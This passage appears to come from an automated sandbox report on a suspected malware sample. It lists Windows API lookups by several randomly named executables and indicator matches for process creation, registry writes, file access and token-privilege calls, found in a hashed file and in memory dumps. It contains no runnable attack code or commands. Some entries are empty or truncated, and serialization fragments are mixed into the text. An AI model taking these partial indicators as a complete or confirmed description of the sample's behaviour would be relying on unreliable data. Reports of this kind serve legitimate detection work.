00000000-00007144) "1kw38Ju7.exe" called "GetProcAddress" with a parameter RoInitialize (UID: 00000000-00007144) "1kw38Ju7.exe" called "GetProcAddress" with a parameter AddSIDToBoundaryDescriptor (UID: 00000000-00007144) "1kw38Ju7.exe" called "GetProcAddress" with a parameter CreateBoundaryDescriptorW (UID: 00000000-00007144) "1kw38Ju7.exe" called "GetProcAddress" with a parameter CreatePrivateNamespaceW (UID: 00000000-00007144) "1kw38Ju7.exe" called "GetProcAddress" with a parameter OpenPrivateNamespaceW (UID: 00000000-00007144) "1kw38Ju7.exe" called "GetProcAddress" with a parameter DeleteBoundaryDescriptor (UID: 00000000-00007144) "1kw38Ju7.exe" called "GetProcAddress" with a parameter WerRegisterRuntimeExceptionModule (UID: 00000000-00007144) "1kw38Ju7.exe" called "GetProcAddress" with a parameter RaiseException (UID: 00000000-00007144) "1kw38Ju7.exe" called "GetProcAddress" with a parameter SetSystemFileCacheSize (UID: 00000000-00007144) "1kw38Ju7.exe" called "GetProcAddress" with a parameter NtSetSystemInformation (UID: 00000000-00007144) "1kw38Ju7.exe" called "GetProcAddress" with a parameter PrivIsDllSynchronizationHeld (UID: 00000000-00007144) "1kw38Ju7.exe" called "GetProcAddress" with a parameter GetProcessMemoryInfo (UID: 00000000-00007144) "1kw38Ju7.exe" called "GetProcAddress" with a parameter GetNativeSystemInfo (UID: 00000000-00007144) "1kw38Ju7.exe" called "GetProcAddress" with a parameter CoInitializeEx (UID: 00000000-00007144) "1kw38Ju7.exe" called "GetProcAddress" with a parameter RoUninitialize (UID: 00000000-00007144) "1kw38Ju7.exe" called "GetProcAddress" with a parameter CoGetContextToken (UID: 00000000-00007144) "1kw38Ju7.exe" called "GetProcAddress" with a parameter GetEnabledXStateFeatures (UID: 00000000-00007144) "1kw38Ju7.exe" called "GetProcAddress" with a parameter sxsJitStartup (UID: 00000000-00007144) "1kw38Ju7.exe" called "GetProcAddress" with a parameter jitStartup (UID: 00000000-00007144) "1kw38Ju7.exe" called "GetProcAddress" with a parameter getJit (UID: 00000000-00007144) "1kw38Ju7.exe" called "GetProcAddress" with a parameter GetUserName (UID: 00000000-00007144) "1kw38Ju7.exe" called "GetProcAddress" with a parameter GetUserNameA (UID: 00000000-00007144) "1kw38Ju7.exe" called "GetProcAddress" with a parameter WideCharToMultiByte (UID: 00000000-00007144) "1kw38Ju7.exe" called "GetProcAddress" with a parameter OpenSCManagerW (UID: 00000000-00007144) "1kw38Ju7.exe" called "GetProcAddress" with a parameter OpenServiceA (UID: 00000000-00007144) "1kw38Ju7.exe" called "GetProcAddress" with a parameter StartService (UID: 00000000-00007144) "1kw38Ju7.exe" called "GetProcAddress" with a parameter StartServiceA (UID: 00000000-00007144) "1kw38Ju7.exe" called "GetProcAddress" with a parameter CloseHandle (UID: 00000000-00007144) "1kw38Ju7.exe" called "GetProcAddress" with a parameter CloseHandleW (UID: 00000000-00007144) "1kw38Ju7.exe" called "GetProcAddress" with a parameter LookupPrivilegeValue (UID: 00000000-00007144) "1kw38Ju7.exe" called "GetProcAddress" with a parameter LookupPrivilegeValueW (UID: 00000000-00007144) "1kw38Ju7.exe" called "GetProcAddress" with a parameter GetCurrentProcess (UID: 00000000-00007144) "1kw38Ju7.exe" called "GetProcAddress" with a parameter OpenProcessTokenW (UID: 00000000-00007144) "1kw38Ju7.exe" called "GetProcAddress" with a parameter AdjustTokenPrivileges (UID: 00000000-00007144) "1kw38Ju7.exe" called "GetProcAddress" with a parameter AdjustTokenPrivilegesW (UID: 00000000-00007144) "1kw38Ju7.exe" called "GetProcAddress" with a parameter NtQuerySystemInformation (UID: 00000000-00007144) "1kw38Ju7.exe" called "GetProcAddress" with a parameter NtQuerySystemInformationW (UID: 00000000-00007144) "1kw38Ju7.exe" called "GetProcAddress" with a parameter OpenProcess (UID: 00000000-00007144) "1kw38Ju7.exe" called "GetProcAddress" with a parameter OpenProcessW (UID: 00000000-00007144) "1kw38Ju7.exe" called "GetProcAddress" with a parameter GetExitCodeProcess (UID: 00000000-00007144) "1kw38Ju7.exe" called "GetProcAddress" with a parameter GetExitCodeProcessW (UID: 00000000-00007144) "1kw38Ju7.exe" called "GetProcAddress" with a parameter ImpersonateLoggedOnUser (UID: 00000000-00007144) "1kw38Ju7.exe" called "GetProcAddress" with a parameter ControlService (UID: 00000000-00007144) "1kw38Ju7.exe" called "GetProcAddress" with a parameter ChangeServiceConfig (UID: 00000000-00007144) "1kw38Ju7.exe" called "GetProcAddress" with a parameter ChangeServiceConfigA (UID: 00000000-00007144) "1kw38Ju7.exe" called "GetProcAddress" with a parameter CoTaskMemFree (UID: 00000000-00007144) "1kw38Ju7.exe" called "GetProcAddress" with a parameter LocaleNameToLCID (UID: 00000000-00007144) "1kw38Ju7.exe" called "GetProcAddress" with a parameter GetUserDefaultLocaleName (UID: 00000000-00007144) "1kw38Ju7.exe" called "GetProcAddress" with a parameter LCIDToLocaleName (UID: 00000000-00007144) "1kw38Ju7.exe" called "GetProcAddress" with a parameter GetUserPreferredUILanguages (UID: 00000000-00007144) "1kw38Ju7.exe" called "GetProcAddress" with a parameter FindNLSStringEx (UID: 00000000-00007144) "1kw38Ju7.exe" called "GetProcAddress" with a parameter RegOpenKeyEx (UID: 00000000-00007144) "1kw38Ju7.exe" called "GetProcAddress" with a parameter RegCreateKeyEx (UID: 00000000-00007144) "1kw38Ju7.exe" called "GetProcAddress" with a parameter RegCreateKeyExW (UID: 00000000-00007144) "1kw38Ju7.exe" called "GetProcAddress" with a parameter RegQueryValueEx (UID: 00000000-00007144) "1kw38Ju7.exe" called "GetProcAddress" with a parameter RegSetValueEx (UID: 00000000-00007144) "1kw38Ju7.exe" called "GetProcAddress" with a parameter RegSetValueExW (UID: 00000000-00007144) "1kw38Ju7.exe" called "GetProcAddress" with a parameter GetProcessExecutableHeap (UID: 00000000-00007144) "1kw38Ju7.exe" called "GetProcAddress" with a parameter GetProcessExecutableHeap_RetAddr (UID: 00000000-00007144) "1kw38Ju7.exe" called "GetProcAddress" with a parameter EventUnregister (UID: 00000000-00007144) "1kw38Ju7.exe" called "GetProcAddress" with a parameter CoUninitialize (UID: 00000000-00007144) "1kw38Ju7.exe" called "GetProcAddress" with a parameter CreateActCtxW (UID: 00000000-00007144) "1kw38Ju7.exe" called "GetProcAddress" with a parameter AddRefActCtx (UID: 00000000-00007144) "1kw38Ju7.exe" called "GetProcAddress" with a parameter ReleaseActCtx (UID: 00000000-00007144) "1kw38Ju7.exe" called "GetProcAddress" with a parameter ActivateActCtx (UID: 00000000-00007144) "1kw38Ju7.exe" called "GetProcAddress" with a parameter DeactivateActCtx (UID: 00000000-00007144) "1kw38Ju7.exe" called "GetProcAddress" with a parameter GetCurrentActCtx (UID: 00000000-00007144) "1kw38Ju7.exe" called "GetProcAddress" with a parameter QueryActCtxW (UID: 00000000-00007144) "2TJ5569.exe" called "GetProcAddress" with a parameter InitializeCriticalSectionEx (UID: 00000000-00001412) "2TJ5569.exe" called "GetProcAddress" with a parameter FlsAlloc (UID: 00000000-00001412) "2TJ5569.exe" called "GetProcAddress" with a parameter FlsSetValue (UID: 00000000-00001412) "2TJ5569.exe" called "GetProcAddress" with a parameter FlsGetValue (UID: 00000000-00001412) "2TJ5569.exe" called "GetProcAddress" with a parameter LCMapStringEx (UID: 00000000-00001412) "2TJ5569.exe" called "GetProcAddress" with a parameter FlsFree (UID: 00000000-00001412) "2TJ5569.exe" called "GetProcAddress" with a parameter InitOnceExecuteOnce (UID: 00000000-00001412) "2TJ5569.exe" called "GetProcAddress" with a parameter CreateEventExW (UID: 00000000-00001412) "2TJ5569.exe" called "GetProcAddress" with a parameter CreateSemaphoreW (UID: 00000000-00001412) "2TJ5569.exe" called "GetProcAddress" with a parameter CreateSemaphoreExW (UID: 00000000-00001412) "2TJ5569.exe" called "GetProcAddress" with a parameter CreateThreadpoolTimer (UID: 00000000-00001412) "2TJ5569.exe" called "GetProcAddress" with a parameter SetThreadpoolTimer (UID: 00000000-00001412) "2TJ5569.exe" called "GetProcAddress" with a parameter WaitForThreadpoolTimerCallbacks (UID: 00000000-00001412) "2TJ5569.exe" called "GetProcAddress" with a parameter CloseThreadpoolTimer (UID: 00000000-00001412) "2TJ5569.exe" called "GetProcAddress" with a parameter CreateThreadpoolWait (UID: 00000000-00001412) "2TJ5569.exe" called "GetProcAddress" with a parameter SetThreadpoolWait (UID: 00000000-00001412) "2TJ5569.exe" called "GetProcAddress" with a parameter CloseThreadpoolWait (UID: 00000000-00001412) "2TJ5569.exe" called "GetProcAddress" with a parameter FlushProcessWriteBuffers (UID: 00000000-00001412) "2TJ5569.exe" called "GetProcAddress" with a parameter FreeLibraryWhenCallbackReturns (UID: 00000000-00001412) "2TJ5569.exe" called "GetProcAddress" with a parameter GetCurrentProcessorNumber (UID: 00000000-00001412) "2TJ5569.exe" called "GetProcAddress" with a parameter CreateSymbolicLinkW (UID: 00000000-00001412) "2TJ5569.exe" called "GetProcAddress" with a parameter GetCurrentPackageId (UID: 00000000-00001412) "2TJ5569.exe" called "GetProcAddress" with a parameter GetTickCount64 (UID: 00000000-00001412) "2TJ5569.exe" called "GetProcAddress" with a parameter GetFileInformationByHandleEx (UID: 00000000-00001412) "2TJ5569.exe" called "GetProcAddress" with a parameter SetFileInformationByHandle (UID: 00000000-00001412) "2TJ5569.exe" called "GetProcAddress" with a parameter GetSystemTimePreciseAsFileTime (UID: 00000000-00001412) "2TJ5569.exe" called "GetProcAddress" with a parameter InitializeConditionVariable (UID: 00000000-00001412) "2TJ5569.exe" called "GetProcAddress" with a parameter WakeConditionVariable (UID: 00000000-00001412) "2TJ5569.exe" called "GetProcAddress" with a parameter WakeAllConditionVariable (UID: 00000000-00001412) "2TJ5569.exe" called "GetProcAddress" with a parameter SleepConditionVariableCS (UID: 00000000-00001412) "2TJ5569.exe" called "GetProcAddress" with a parameter InitializeSRWLock (UID: 00000000-00001412) "2TJ5569.exe" called "GetProcAddress" with a parameter AcquireSRWLockExclusive (UID: 00000000-00001412) "2TJ5569.exe" called "GetProcAddress" with a parameter TryAcquireSRWLockExclusive (UID: 00000000-00001412) "2TJ5569.exe" called "GetProcAddress" with a parameter ReleaseSRWLockExclusive (UID: 00000000-00001412) "2TJ5569.exe" called "GetProcAddress" with a parameter SleepConditionVariableSRW (UID: 00000000-00001412) "2TJ5569.exe" called "GetProcAddress" with a parameter CreateThreadpoolWork (UID: 00000000-00001412) "2TJ5569.exe" called "GetProcAddress" with a parameter SubmitThreadpoolWork (UID: 00000000-00001412) "2TJ5569.exe" called "GetProcAddress" with a parameter CloseThreadpoolWork (UID: 00000000-00001412) "2TJ5569.exe" called "GetProcAddress" with a parameter CompareStringEx (UID: 00000000-00001412) "2TJ5569.exe" called "GetProcAddress" with a parameter GetLocaleInfoEx (UID: 00000000-00001412) "2TJ5569.exe" called "GetProcAddress" with a parameter AreFileApisANSI (UID: 00000000-00001412) "2TJ5569.exe" called "GetProcAddress" with a parameter RtlGetVersion (UID: 00000000-00001412) "2TJ5569.exe" called "GetProcAddress" with a parameter CoCreateInstance (UID: 00000000-00001412) "2TJ5569.exe" called "GetProcAddress" with a parameter CoCreateInstanceEx (UID: 00000000-00001412) "2TJ5569.exe" called "GetProcAddress" with a parameter CoGetClassObject (UID: 00000000-00001412) "2TJ5569.exe" called "GetProcAddress" with a parameter AppPolicyGetProcessTerminationMethod (UID: 00000000-00001412) "3Fr64vK.exe" called "GetProcAddress" with a parameter InitializeCriticalSectionEx (UID: 00000000-00005624) "3Fr64vK.exe" called "GetProcAddress" with a parameter FlsAlloc (UID: 00000000-00005624) "3Fr64vK.exe" called "GetProcAddress" with a parameter FlsSetValue (UID: 00000000-00005624) "3Fr64vK.exe" called "GetProcAddress" with a parameter FlsGetValue (UID: 00000000-00005624) "3Fr64vK.exe" called "GetProcAddress" with a parameter LCMapStringEx (UID: 00000000-00005624) "3Fr64vK.exe" called "GetProcAddress" with a parameter FlsFree (UID: 00000000-00005624) "3Fr64vK.exe" called "GetProcAddress" with a parameter InitOnceExecuteOnce (UID: 00000000-00005624) "3Fr64vK.exe" called "GetProcAddress" with a parameter CreateEventExW (UID: 00000000-00005624) "3Fr64vK.exe" called "GetProcAddress" with a parameter CreateSemaphoreW (UID: 00000000-00005624) "3Fr64vK.exe" called "GetProcAddress" with a parameter CreateSemaphoreExW (UID: 00000000-00005624) "3Fr64vK.exe" called "GetProcAddress" with a parameter CreateThreadpoolTimer (UID: 00000000-00005624) "3Fr64vK.exe" called "GetProcAddress" with a parameter SetThreadpoolTimer (UID: 00000000-00005624) "3Fr64vK.exe" called "GetProcAddress" with a parameter WaitForThreadpoolTimerCallbacks (UID: 00000000-00005624) "3Fr64vK.exe" called "GetProcAddress" with a parameter CloseThreadpoolTimer (UID: 00000000-00005624) "3Fr64vK.exe" called "GetProcAddress" with a parameter CreateThreadpoolWait (UID: 00000000-00005624) "3Fr64vK.exe" called "GetProcAddress" with a parameter SetThreadpoolWait (UID: 00000000-00005624) "3Fr64vK.exe" called "GetProcAddress" with a parameter CloseThreadpoolWait (UID: 00000000-00005624) "3Fr64vK.exe" called "GetProcAddress" with a parameter FlushProcessWriteBuffers (UID: 00000000-00005624) "3Fr64vK.exe" called "GetProcAddress" with a parameter FreeLibraryWhenCallbackReturns (UID: 00000000-00005624) "3Fr64vK.exe" called "GetProcAddress" with a parameter GetCurrentProcessorNumber (UID: 00000000-00005624) "3Fr64vK.exe" called "GetProcAddress" with a parameter CreateSymbolicLinkW (UID: 00000000-00005624) "3Fr64vK.exe" called "GetProcAddress" with a parameter GetCurrentPackageId (UID: 00000000-00005624) "3Fr64vK.exe" called "GetProcAddress" with a parameter GetTickCount64 (UID: 00000000-00005624) "3Fr64vK.exe" called "GetProcAddress" with a parameter GetFileInformationByHandleEx (UID: 00000000-00005624) "3Fr64vK.exe" called "GetProcAddress" with a parameter SetFileInformationByHandle (UID: 00000000-00005624) "3Fr64vK.exe" called "GetProcAddress" with a parameter GetSystemTimePreciseAsFileTime (UID: 00000000-00005624) "3Fr64vK.exe" called "GetProcAddress" with a parameter InitializeConditionVariable (UID: 00000000-00005624) "3Fr64vK.exe" called "GetProcAddress" with a parameter WakeConditionVariable (UID: 00000000-00005624) "3Fr64vK.exe" called "GetProcAddress" with a parameter WakeAllConditionVariable (UID: 00000000-00005624) "3Fr64vK.exe" called "GetProcAddress" with a parameter SleepConditionVariableCS (UID: 00000000-00005624) "3Fr64vK.exe" called "GetProcAddress" with a parameter InitializeSRWLock (UID: 00000000-00005624) "3Fr64vK.exe" called "GetProcAddress" with a parameter AcquireSRWLockExclusive (UID: 00000000-00005624) "3Fr64vK.exe" called "GetProcAddress" with a parameter TryAcquireSRWLockExclusive (UID: 00000000-00005624) "3Fr64vK.exe" called "GetProcAddress" with a parameter ReleaseSRWLockExclusive (UID: 00000000-00005624) "3Fr64vK.exe" called "GetProcAddress" with a parameter SleepConditionVariableSRW (UID: 00000000-00005624) "3Fr64vK.exe" called "GetProcAddress" with a parameter CreateThreadpoolWork (UID: 00000000-00005624) "3Fr64vK.exe" called "GetProcAddress" with a parameter SubmitThreadpoolWork (UID: 00000000-00005624) "3Fr64vK.exe" called "GetProcAddress" with a parameter CloseThreadpoolWork (UID: 00000000-00005624) "3Fr64vK.exe" called "GetProcAddress" with a parameter CompareStringEx (UID: 00000000-00005624) "3Fr64vK.exe" called "GetProcAddress" with a parameter GetLocaleInfoEx (UID: 00000000-00005624) "3Fr64vK.exe" called "GetProcAddress" with a parameter AreFileApisANSI (UID: 00000000-00005624) "3Fr64vK.exe" called "GetProcAddress" with a parameter RtlGetVersion (UID: 00000000-00005624) "3Fr64vK.exe" called "GetProcAddress" with a parameter CoCreateInstance (UID: 00000000-00005624) "3Fr64vK.exe" called "GetProcAddress" with a parameter CoCreateInstanceEx (UID: 00000000-00005624) "3Fr64vK.exe" called "GetProcAddress" with a parameter CoGetClassObject (UID: 00000000-00005624)36:T158a,Found reference to API "CreateProcessA" (Indicator: "CreateProcess"; File: "e2f3379b09a3ac4a2a986c775e7f0bf7c4c4360157e0731f465d17d99dfd45d9.exe") Found reference to API "CreateProcessA" (Indicator: "CreateProcess"; Source: "00000000-00004156.00000001.93047.00B2A000.00000002.mdmp") Found reference to API "__COMPAT_LAYER=ElevateCreateProcess WRPMitigation" (Indicator: "CreateProcess"; Source: "00000000-00004156.00000001.93047.03450000.00000004.mdmp, 00000000-00004156.00000002.94967.03450000.00000004.mdmp, 00000000-00004156.00000002.94967.03700000.00000004.mdmp") Found reference to API "levateCreateProcess" (Indicator: "CreateProcess"; Source: "00000000-00004156.00000001.93047.03450000.00000004.mdmp, 00000000-00004156.00000002.94967.03450000.00000004.mdmp") Found reference to API "ElevateCreateProcess WRPMitigation" (Indicator: "CreateProcess"; Source: "00000000-00004156.00000001.93047.03450000.00000004.mdmp, 00000000-00004156.00000002.94967.03450000.00000004.mdmp") Found reference to API "" (Indicator: "CreateProcess"; Source: "00000000-00004156.00000001.93047.03450000.00000004.mdmp, 00000000-00004156.00000002.94967.03450000.00000004.mdmp") Found reference to API "" (Indicator: "CreateProcess"; Source: "00000000-00004156.00000001.93047.03450000.00000004.mdmp, 00000000-00004156.00000002.94967.03450000.00000004.mdmp") Found reference to API "" (Indicator: "CreateProcess"; Source: "00000000-00004156.00000001.93047.03450000.00000004.mdmp, 00000000-00004156.00000002.94967.03450000.00000004.mdmp") Found reference to API "" (Indicator: "CreateProcess"; Source: "00000000-00004156.00000001.93047.03450000.00000004.mdmp, 00000000-00004156.00000002.94967.03450000.00000004.mdmp") Found reference to API "PRINT,NS_ElevateCreateProcess::APIHook_CreateProcessA,318,[ApiName] Hook Entered" (Indicator: "CreateProcess"; Source: "00000000-00004156.00000001.93047.03450000.00000004.mdmp, 00000000-00004156.00000002.94967.03450000.00000004.mdmp") Found reference to API "1751110974,7436,3140,,CreateProcessA,kernel32.dll,"00:23:39.593",RX=0,PX=0" (Indicator: "CreateProcess"; Source: "00000000-00004156.00000001.93047.03450000.00000004.mdmp, 00000000-00004156.00000002.94967.03450000.00000004.mdmp") Found reference to API "levateCreateProcess" (Indicator: "CreateProcess"; Source: "00000000-00004880.00000000.91056.03100000.00000004.mdmp, 00000000-00004880.00000002.94895.03100000.00000004.mdmp") Found reference to API "__COMPAT_LAYER=ElevateCreateProcess WRPMitigation" (Indicator: "CreateProcess"; Source: "00000000-00004880.00000000.91056.03100000.00000004.mdmp, 00000000-00004880.00000002.94895.00BB0000.00000004.mdmp, 00000000-00004880.00000002.94895.03100000.00000004.mdmp") Found reference to API "ElevateCreateProcess WRPMitigation" (Indicator: "CreateProcess"; Source: "00000000-00004880.00000000.91056.03100000.00000004.mdmp, 00000000-00004880.00000002.94895.03100000.00000004.mdmp") Found reference to API "L32.DLL" FUNCTION="CreateProcessW"/>" (Indicator: "CreateProcess"; Source: "00000000-00004880.00000000.91056.03100000.00000004.mdmp 00000000-00004880.00000002.94895.03100000.00000004.mdmp"), Found reference to API "" (Indicator: "CreateProcess"; Source: "00000000-00004880.00000000.91056.03100000.00000004.mdmp 00000000-00004880.00000002.94895.03100000.00000004.mdmp"), Found reference to API "" (Indicator: "CreateProcess"; Source: "00000000-00004880.00000000.91056.03100000.00000004.mdmp 00000000-00004880.00000002.94895.03100000.00000004.mdmp"), Found reference to API "" (Indicator: "CreateProcess"; Source: "00000000-00004880.00000000.91056.03100000.00000004.mdmp 00000000-00004880.00000002.94895.03100000.00000004.mdmp"), Found reference to API "" (Indicator: "CreateProcess"; Source: "00000000-00004880.00000000.91056.03100000.00000004.mdmp 00000000-00004880.00000002.94895.03100000.00000004.mdmp"), Found reference to API "PRINT NS_ElevateCreateProcess::APIHook_CreateProcessA 318 [ApiName] Hook Entered" (Indicator: "CreateProcess"; Source: "00000000-00004880.00000000.91056.03100000.00000004.mdmp 00000000-00004880.00000002.94895.03100000.00000004.mdmp"), Found reference to API "CreateProcessA" (Indicator: "CreateProcess"; Source: "00000000-00004880.00000001.92978.00E6A000.00000002.mdmp"), Found reference to API "__COMPAT_LAYER=ElevateCreateProcess WRPMitigation" (Indicator: "CreateProcess"; Source: "00000000-00004976.00000000.91175.00E80000.00000004.mdmp 00000000-00004976.00000001.93096.033B0000.00000004.mdmp 00000000-00004976.00000002.95016.033B0000.00000004.mdmp"), Found reference to API "CreateProcessA" (Indicator: "CreateProcess"; Source: "00000000-00004976.00000001.93096.0118A000.00000002.mdmp"), Found reference to API "levateCreateProcess" (Indicator: "CreateProcess"; Source: "00000000-00004976.00000001.93096.033B0000.00000004.mdmp 00000000-00004976.00000002.95016.033B0000.00000004.mdmp"), Found reference to API "ElevateCreateProcess WRPMitigation" (Indicator: "CreateProcess"; Source: "00000000-00004976.00000001.93096.033B0000.00000004.mdmp 00000000-00004976.00000002.95016.033B0000.00000004.mdmp")37:Tdae,Found reference to API "RegCreateKeyExA" (Indicator: "RegCreateKey"; File: "e2f3379b09a3ac4a2a986c775e7f0bf7c4c4360157e0731f465d17d99dfd45d9.exe") Found reference to API "RegCreateKeyExA" (Indicator: "RegCreateKey"; Source: "00000000-00004156.00000001.93047.00B2A000.00000002.mdmp") Found reference to API "" (Indicator: "RegCreateKey"; Source: "00000000-00004156.00000001.93047.03450000.00000004.mdmp, 00000000-00004156.00000002.94967.03450000.00000004.mdmp") Found reference to API "" (Indicator: "RegCreateKey"; Source: "00000000-00004156.00000001.93047.03450000.00000004.mdmp, 00000000-00004156.00000002.94967.03450000.00000004.mdmp") Found reference to API "" (Indicator: "RegCreateKey"; Source: "00000000-00004156.00000001.93047.03450000.00000004.mdmp, 00000000-00004156.00000002.94967.03450000.00000004.mdmp") Found reference to API "" (Indicator: "RegCreateKey"; Source: "00000000-00004156.00000001.93047.03450000.00000004.mdmp, 00000000-00004156.00000002.94967.03450000.00000004.mdmp") Found reference to API "" (Indicator: "RegCreateKey"; Source: "00000000-00004880.00000000.91056.03100000.00000004.mdmp, 00000000-00004880.00000002.94895.03100000.00000004.mdmp") Found reference to API "" (Indicator: "RegCreateKey"; Source: "00000000-00004880.00000000.91056.03100000.00000004.mdmp, 00000000-00004880.00000002.94895.03100000.00000004.mdmp") Found reference to API "" (Indicator: "RegCreateKey"; Source: "00000000-00004880.00000000.91056.03100000.00000004.mdmp, 00000000-00004880.00000002.94895.03100000.00000004.mdmp") Found reference to API "" (Indicator: "RegCreateKey"; Source: "00000000-00004880.00000000.91056.03100000.00000004.mdmp, 00000000-00004880.00000002.94895.03100000.00000004.mdmp") Found reference to API "RegCreateKeyExA" (Indicator: "RegCreateKey"; Source: "00000000-00004880.00000001.92978.00E6A000.00000002.mdmp") Found reference to API "RegCreateKeyExA" (Indicator: "RegCreateKey"; Source: "00000000-00004976.00000001.93096.0118A000.00000002.mdmp") Found reference to API "" (Indicator: "RegCreateKey"; Source: "00000000-00004976.00000001.93096.033B0000.00000004.mdmp, 00000000-00004976.00000002.95016.033B0000.00000004.mdmp") Found reference to API "" (Indicator: "RegCreateKey"; Source: "00000000-00004976.00000001.93096.033B0000.00000004.mdmp, 00000000-00004976.00000002.95016.033B0000.00000004.mdmp") Found reference to API "" (Indicator: "RegCreateKey"; Source: "00000000-00004976.00000001.93096.033B0000.00000004.mdmp, 00000000-00004976.00000002.95016.033B0000.00000004.mdmp") Found reference to API "" (Indicator: "RegCreateKey"; Source: "00000000-00004976.00000001.93096.033B0000.00000004.mdmp, 00000000-00004976.00000002.95016.033B0000.00000004.mdmp") Found reference to API "RegCreateKeyExA" (Indicator: "RegCreateKey"; Source: "00000000-00005260.00000000.91286.0013A000.00000002.mdmp")38:T884,Found reference to API "CreateFileA" (Indicator: "CreateFile"; File: "e2f3379b09a3ac4a2a986c775e7f0bf7c4c4360157e0731f465d17d99dfd45d9.exe") Found reference to API "CreateFileW" (Indicator: "CreateFile"; File: "e2f3379b09a3ac4a2a986c775e7f0bf7c4c4360157e0731f465d17d99dfd45d9.exe") Found reference to API "CreateFileA" (Indicator: "CreateFile"; Source: "00000000-00004156.00000001.93047.00B2A000.00000002.mdmp") Found reference to API "" (Indicator: "CreateFile"; Source: "00000000-00004156.00000001.93047.03450000.00000004.mdmp, 00000000-00004156.00000002.94967.03450000.00000004.mdmp") Found reference to API "" (Indicator: "CreateFile"; Source: "00000000-00004156.00000001.93047.03450000.00000004.mdmp, 00000000-00004156.00000002.94967.03450000.00000004.mdmp") Found reference to API "" (Indicator: "CreateFile"; Source: "00000000-00004880.00000000.91056.03100000.00000004.mdmp, 00000000-00004880.00000002.94895.03100000.00000004.mdmp") Found reference to API "" (Indicator: "CreateFile"; Source: "00000000-00004880.00000000.91056.03100000.00000004.mdmp, 00000000-00004880.00000002.94895.03100000.00000004.mdmp") Found reference to API "CreateFileA" (Indicator: "CreateFile"; Source: "00000000-00004880.00000001.92978.00E6A000.00000002.mdmp") Found reference to API "CreateFileA" (Indicator: "CreateFile"; Source: "00000000-00004976.00000001.93096.0118A000.00000002.mdmp") Found reference to API "" (Indicator: "CreateFile"; Source: "00000000-00004976.00000001.93096.033B0000.00000004.mdmp, 00000000-00004976.00000002.95016.033B0000.00000004.mdmp") Found reference to API "" (Indicator: "CreateFile"; Source: "00000000-00004976.00000001.93096.033B0000.00000004.mdmp, 00000000-00004976.00000002.95016.033B0000.00000004.mdmp") Found reference to API "CreateFileA" (Indicator: "CreateFile"; Source: "00000000-00005260.00000000.91286.0013A000.00000002.mdmp")39:T17ab0,Found reference to API (Indicator: "RegQueryValueExA"; File: "e2f3379b09a3ac4a2a986c775e7f0bf7c4c4360157e0731f465d17d99dfd45d9.exe") Found reference to API (Indicator: "GetTokenInformation"; File: "e2f3379b09a3ac4a2a986c775e7f0bf7c4c4360157e0731f465d17d99dfd45d9.exe") Found reference to API (Indicator: "RegCreateKeyExA"; File: "e2f3379b09a3ac4a2a986c775e7f0bf7c4c4360157e0731f465d17d99dfd45d9.exe") Found reference to API (Indicator: "OpenProcessToken"; File: "e2f3379b09a3ac4a2a986c775e7f0bf7c4c4360157e0731f465d17d99dfd45d9.exe") Found reference to API (Indicator: "RegOpenKeyExA"; File: "e2f3379b09a3ac4a2a986c775e7f0bf7c4c4360157e0731f465d17d99dfd45d9.exe") Found reference to API (Indicator: "RegDeleteValueA"; File: "e2f3379b09a3ac4a2a986c775e7f0bf7c4c4360157e0731f465d17d99dfd45d9.exe") Found reference to API (Indicator: "AllocateAndInitializeSid"; File: "e2f3379b09a3ac4a2a986c775e7f0bf7c4c4360157e0731f465d17d99dfd45d9.exe") Found reference to API (Indicator: "RegSetValueExA"; File: "e2f3379b09a3ac4a2a986c775e7f0bf7c4c4360157e0731f465d17d99dfd45d9.exe") Found reference to API (Indicator: "EqualSid"; File: "e2f3379b09a3ac4a2a986c775e7f0bf7c4c4360157e0731f465d17d99dfd45d9.exe") Found reference to API (Indicator: "LookupPrivilegeValueA"; File: "e2f3379b09a3ac4a2a986c775e7f0bf7c4c4360157e0731f465d17d99dfd45d9.exe") Found reference to API (Indicator: "RegCloseKey"; File: "e2f3379b09a3ac4a2a986c775e7f0bf7c4c4360157e0731f465d17d99dfd45d9.exe") Found reference to API (Indicator: "FreeSid"; File: "e2f3379b09a3ac4a2a986c775e7f0bf7c4c4360157e0731f465d17d99dfd45d9.exe") Found reference to API (Indicator: "AdjustTokenPrivileges"; File: "e2f3379b09a3ac4a2a986c775e7f0bf7c4c4360157e0731f465d17d99dfd45d9.exe") Found reference to API (Indicator: "RegQueryInfoKeyA"; File: "e2f3379b09a3ac4a2a986c775e7f0bf7c4c4360157e0731f465d17d99dfd45d9.exe") Found reference to API (Indicator: "GetDeviceCaps"; File: "e2f3379b09a3ac4a2a986c775e7f0bf7c4c4360157e0731f465d17d99dfd45d9.exe") Found reference to API (Indicator: "FindClose"; File: "e2f3379b09a3ac4a2a986c775e7f0bf7c4c4360157e0731f465d17d99dfd45d9.exe") Found reference to API (Indicator: "GlobalFree"; File: "e2f3379b09a3ac4a2a986c775e7f0bf7c4c4360157e0731f465d17d99dfd45d9.exe") Found reference to API (Indicator: "GetLastError"; File: "e2f3379b09a3ac4a2a986c775e7f0bf7c4c4360157e0731f465d17d99dfd45d9.exe") Found reference to API (Indicator: "FormatMessageA"; File: "e2f3379b09a3ac4a2a986c775e7f0bf7c4c4360157e0731f465d17d99dfd45d9.exe") Found reference to API (Indicator: "FindFirstFileA"; File: "e2f3379b09a3ac4a2a986c775e7f0bf7c4c4360157e0731f465d17d99dfd45d9.exe") Found reference to API (Indicator: "Sleep"; File: "e2f3379b09a3ac4a2a986c775e7f0bf7c4c4360157e0731f465d17d99dfd45d9.exe") Found reference to API (Indicator: "CreateProcessA"; File: "e2f3379b09a3ac4a2a986c775e7f0bf7c4c4360157e0731f465d17d99dfd45d9.exe") Found reference to API (Indicator: "GetVersionExA"; File: "e2f3379b09a3ac4a2a986c775e7f0bf7c4c4360157e0731f465d17d99dfd45d9.exe") Found reference to API (Indicator: "SetFileTime"; File: "e2f3379b09a3ac4a2a986c775e7f0bf7c4c4360157e0731f465d17d99dfd45d9.exe") Found reference to API (Indicator: "GetCurrentDirectoryA"; File: "e2f3379b09a3ac4a2a986c775e7f0bf7c4c4360157e0731f465d17d99dfd45d9.exe") Found reference to API (Indicator: "GetProcAddress"; File: "e2f3379b09a3ac4a2a986c775e7f0bf7c4c4360157e0731f465d17d99dfd45d9.exe") Found reference to API (Indicator: "GetShortPathNameA"; File: "e2f3379b09a3ac4a2a986c775e7f0bf7c4c4360157e0731f465d17d99dfd45d9.exe") Found reference to API (Indicator: "DeleteFileA"; File: "e2f3379b09a3ac4a2a986c775e7f0bf7c4c4360157e0731f465d17d99dfd45d9.exe") Found reference to API (Indicator: "LoadLibraryA"; File: 